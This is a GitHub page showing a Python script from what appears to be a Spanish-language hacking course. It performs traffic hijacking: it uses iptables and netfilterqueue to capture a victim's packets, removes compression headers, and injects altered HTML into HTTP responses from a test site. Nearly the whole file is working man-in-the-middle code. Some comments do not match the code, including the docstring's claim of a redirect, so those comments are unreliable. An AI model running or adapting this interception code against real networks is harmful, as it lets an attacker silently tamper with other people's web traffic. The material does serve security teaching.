-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy path08_traffic_hijacking.py
More file actions
112 lines (75 loc) · 2.77 KB
/
08_traffic_hijacking.py
File metadata and controls
112 lines (75 loc) · 2.77 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python3
"""
Traffic Hijacking
Vamos a injectar código en la web testphp.vulnweb.com para que cuando se haga
una petición a la web desde la máquina victima, se redirija a nuestra web.
Para que funcione hay que redirigir el tráfico a la cola 0:
iptables -I INPUT -j NFQUEUE --queue-num 0
iptables -I OUTPUT -j NFQUEUE --queue-num 0
iptables -I FORWARD -j NFQUEUE --queue-num 0
iptables --policy FORWARD ACCEPT
Con esto no puedes navegar porque los paquetes están a la espera
de ser procesados por netfilterqueue.
Para eliminar las anteriores reglas:
iptables -D INPUT -j NFQUEUE --queue-num 0
iptables -D OUTPUT -j NFQUEUE --queue-num 0
iptables -D FORWARD -j NFQUEUE --queue-num 0
iptables --policy FORWARD ACCEPT
"""
import netfilterqueue
import re
import scapy.all as scapy
import signal
import sys
def def_handler(sig, frame):
"""
Ctrl + C
"""
print('\n[!] Saliendo...\n')
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
def set_load(packet, load):
"""
Modifica el campo load del paquete
"""
# Modificamos el campo load del paquete
packet[scapy.Raw].load = load
# Eliminamos los campos de la capa IP y TCP para que se recalcule el checksum
del packet[scapy.IP].len
del packet[scapy.IP].chksum
del packet[scapy.TCP].chksum
return packet
def process_packet(packet):
"""
Procesa los paquetes que llegan a la cola 0
"""
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.Raw):
try:
if scapy_packet[scapy.TCP].dport == 80:
print("Modificada petición HTTP")
# Eliminamos la cabecera Accept-Encoding para que no comprima
# el contenido
modified_load = re.sub(
b"Accept-Encoding:.*?\\r\\n", b"", scapy_packet[scapy.Raw].load
)
# Eliminamos la cabecera HTTP/1.1 para que no se queje
new_packet = set_load(scapy_packet, modified_load)
# Inyectamos código en la petición
packet.set_payload(new_packet.build())
elif scapy_packet[scapy.TCP].sport == 80:
print("Modificada respuesta HTTP")
# Inyectamos código HTML en la respuesta
modified_load = scapy_packet[scapy.Raw].load.replace(
b"welcome to our page", b"Welcome to the hacked page ;)"
)
# Enviamos el paguete modificado
new_packet = set_load(scapy_packet, modified_load)
packet.set_payload(new_packet.build())
except:
pass
packet.accept()
print(f"[+] Iniciando traffic hijacking ...")
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()